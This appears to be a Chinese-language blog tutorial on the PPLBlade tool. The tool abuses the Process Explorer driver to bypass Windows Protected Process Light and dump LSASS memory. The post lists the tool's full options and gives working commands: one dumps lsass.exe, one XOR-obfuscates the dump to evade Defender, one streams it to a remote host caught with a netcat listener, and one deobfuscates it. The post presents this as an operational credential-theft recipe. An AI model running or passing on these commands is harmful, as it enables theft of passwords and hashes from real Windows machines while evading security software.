绕过 Defender 和 PPL 保护进行 LSASS 转储

绕过 Defender 和 PPL 保护进行 LSASS 转储

什么是PPL?

PPL(Protected Process Light)是一种Windows安全机制,用于保护进程免受恶意软件和未经授权的访问。在 Windows 8.1 及以后版本中引入的,主要用于保护关键系统进程,例如那些与反恶意软件、凭据管理、密钥保护和系统完整性相关的进程。例如 Local Security Authority Subsystem Service (LSASS),防止恶意软件提取密码或其他敏感信息。

实现机制

PPL 通过一系列特权和权限来限制对受保护进程的访问。以下是 PPL 的一些关键特性:

特权限制:受保护进程只能被具有相同或更高保护级别的进程访问。例如,普通进程无法直接操作受保护的进程。
签名验证:PPL 进程通常需要有效的签名证书才能运行,确保它们是由受信任的发布者发布的。
内核保护:内核模块可以通过特定 API 和策略保护关键进程,防止它们被篡改或结束。

使用场景

系统服务保护:保护关键的系统服务,如LSASS,防止凭据提取攻击。
反恶意软件:确保反恶意软件引擎和服务不能被恶意软件关闭或篡改。
凭据和密钥保护:保护管理凭据和加密密钥的进程,防止未经授权的访问和盗窃。

PROCEXP15.SYS 是什么?

PROCEXP15.SYS 是由微软开发的 Process Explorer 工具使用的驱动程序文件。Process Explorer 是一个高级的系统监视工具,作为 Windows 任务管理器的增强替代品。PROCEXP15.SYS 驱动程序用于帮助 Process Explorer 获取对系统进程的详细信息和执行高级操作。

PROCEXP15.SYS 的主要功能

访问权限:通过内核模式驱动程序,Process Explorer 能够获取和操作某些进程的高级信息和权限
进程信息:提供详细的进程信息,包括进程树、句柄、DLLs、线程等。
调试和分析:允许用户调试和分析系统进程,找到性能瓶颈和潜在问题。
安全监控:帮助用户监控和分析系统安全问题,例如检测和处理恶意软件。

在 PPLBlade 中的应用

在 PPLBlade 工具中,PROCEXP15.SYS 驱动程序被利用来绕过 Windows 的受保护进程保护 (PPL) 机制,以便对关键系统进程(例如 LSASS.exe)进行内存转储。具体步骤如下:

加载驱动程序:PPLBlade 会尝试加载 PROCEXP15.SYS 驱动程序以获取更高权限。
绕过 PPL 保护:利用 PROCEXP15.SYS 提供的高级权限,PPLBlade 可以绕过 PPL 保护,对 LSASS 等关键进程进行操作。
转储内存:通过获取对 LSASS 的访问权限,PPLBlade 可以转储其内存,并对转储数据进行混淆和传输,以避开安全软件的检测。

PROCEXP15.SYS 是 Process Explorer 使用的驱动程序,提供对系统进程的高级访问权限。PPLBlade 利用 PROCEXP15.SYS 驱动程序绕过 Windows 的 PPL 保护,以便对关键进程(如 LSASS)进行内存转储。

PPLBlade主要功能

绕过 PPL 保护
混淆内存转储文件以逃避基于 Defender 签名的检测机制
使用 RAW 和 SMB 上传方法上传内存转储而不将其放到磁盘上(无文件转储)

模式

Dump - 使用 PID 或进程名称转储进程内存
解密- 将模糊处理(--obfuscate)的转储文件恢复到其原始状态
清理- 手动进行清理,以防执行时出现问题
DoThatLsassThing-使用 Process Explorer 驱动程序转储 lsass.exe

处理模式

直接使用 OpenProcess() 函数直接打开 PROCESS_ALL_ACCESS 句柄,Procexp-使用PROCEXP152.sys获取句柄

使用方法
  -driver 
        驱动文件将被放置的位置,默认为当前目录
  -dumpmode 
        转储模式 [local|network] (default "local")
  -dumpname 
        转储文件名(default "PPLBlade.dmp")
  -handle 
        获取目标远程句柄的方法[direct|procexp] (default "direct")
  -help
        打印帮助信息
  -ip 
        远程IP
  -key 
        用于混淆的XOR密钥(default "PPLBlade")
  -mode 
        进程的操作模式 [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
  -name 
        目标进程名字
  -network string
        网络传输方法[raw|smb] (default "raw")
  -obfuscate
        混淆传输文件
  -pass 
        SMB密码
  -pid int
        目标进程的PID(优先于进程名称)
  -port int
        远程服务器端口
  -quiet
        静默模式
  -service string
        服务器名称 (default "PPLBlade")
  -share string
        共享名称
  -user string
        SMB用户名
例子

使用 PROCEXP152.sys 转储 lsass ,不对转储文件进行 XOR 操作:

PPLBlade.exe --mode dothatlsassthing

Screenshot_4.png

将混淆的 LSASS 转储上传到远程:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.45.128 --port 7890
远程主机:

nc -lnp 7890 > lsass.dmp

将混淆转储的LSASS文件反混淆
python3 deobfuscate.py --dumpname lsass.dmp

Screenshot_2.png

反混淆内存转储:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

Screenshot_1.png

在windows11以及windows10部分机器上的尝试。

Screenshot_3.png

Screenshot_5.png

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注